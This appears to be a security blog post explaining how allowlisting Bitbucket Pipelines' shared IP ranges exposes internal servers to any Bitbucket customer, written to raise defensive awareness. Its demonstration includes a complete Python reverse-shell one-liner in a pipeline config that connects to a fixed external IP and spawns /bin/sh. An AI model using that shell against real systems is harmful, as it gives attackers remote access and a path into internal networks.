The all-too-common tale of mistakenly exposing your organization to the world when you just wanted to use an external CI/CD service
Cloud environments frequently rely on multiple, external services that often have whitelisted access to internal servers. Extra caution needs to be applied while making sure you don’t inadvertently open your environment to the entire world without realizing it.
Such services unwittingly set as internet-facing have a high probability of having a less mature security posture.
Given limited resources, organizations have to prioritize their efforts as they verify the security posture of widely open services. Placing more attention on such internet-accessible resources is the common strategy. Meanwhile, securing internally facing services usually seems less critical, so often gets relegated to the backburner.
But what if access control is misconfigured?
As developers attempt to tightly integrate third-party tools—such as external CI/CD services—they change the ACLs on internal resources to allow communication with the third-party tools. Unfortunately, this de facto choice is to unwittingly leave one or more internal (usually insecure) services open to the world, without them realizing that. This is a common misconfiguration problem.
Here’s an example. Bitbucket is an external CI/CD service that frequently has to be able to communicate with an internal Atlassian server. The easiest way to allow it to do this is to simply whitelist its range of IP addresses—which happen to be published online for all to see.
Such CI/CD service vendors being reputable companies, you shouldn’t be concerned about putting their servers in your IP whitelist… or should you?
The short answer is yes, you should. Whitelisting them may mean implicitly trusting all of a vendor’s customers—not just the vendor. In the prior example, whitelisting that IP range means any Bitbucket customer (including free accounts) is trusted. That means any of them can generate traffic from the IP range simply by running a tool in their environment as part of the build pipeline.
Bitbucket explicitly points this out in its knowledge base (relevant portion marked by us).
“You can use these IP ranges to allowlist requests made from your build environments. SSH keyscans are also performed from within the build environment. Note that Bitbucket Pipelines is a shared service and the IP addresses below are used for builds configured by all of our customers. In addition to IP allowlisting, you should use a secure means of authentication for any services exposed to Bitbucket Pipelines.”
But a DevOps team can easily overlook this—with potentially catastrophic implications. Inadvertently set as internet-facing, such services have a high probability of having a less mature security posture overall. This introduces many critical vulnerabilities that are downplayed, with the team believing they’re only dealing with internal servers. Hence the vulnerabilities receive no priority.
Exploitation of CI/CD services is way too easy
To demonstrate this we’ll create a free Bitbucket account and repository. The only thing we’ll add is a simple Python pipeline configuration; it reverses the shell to point to a predefined server.
image: atlassian/default-image:2 pipelines: default: - step: script: - python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("126.96.36.199",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
Next we’ll use Netcat (nc) to listen for connections on our server and run the new pipeline.
After a few seconds a new connection appears in nc, so let’s check the external IP we just received.
We can now tunnel our requests through Bitbucket’s pipeline servers—accessing the internal servers that were just opened to it. More often than not, such servers are accessible using default credentials and run software that’s susceptible to multiple vulnerabilities. And yet the wrong assumption is that these servers are only accessible to trusted entities, so related issues are overlooked.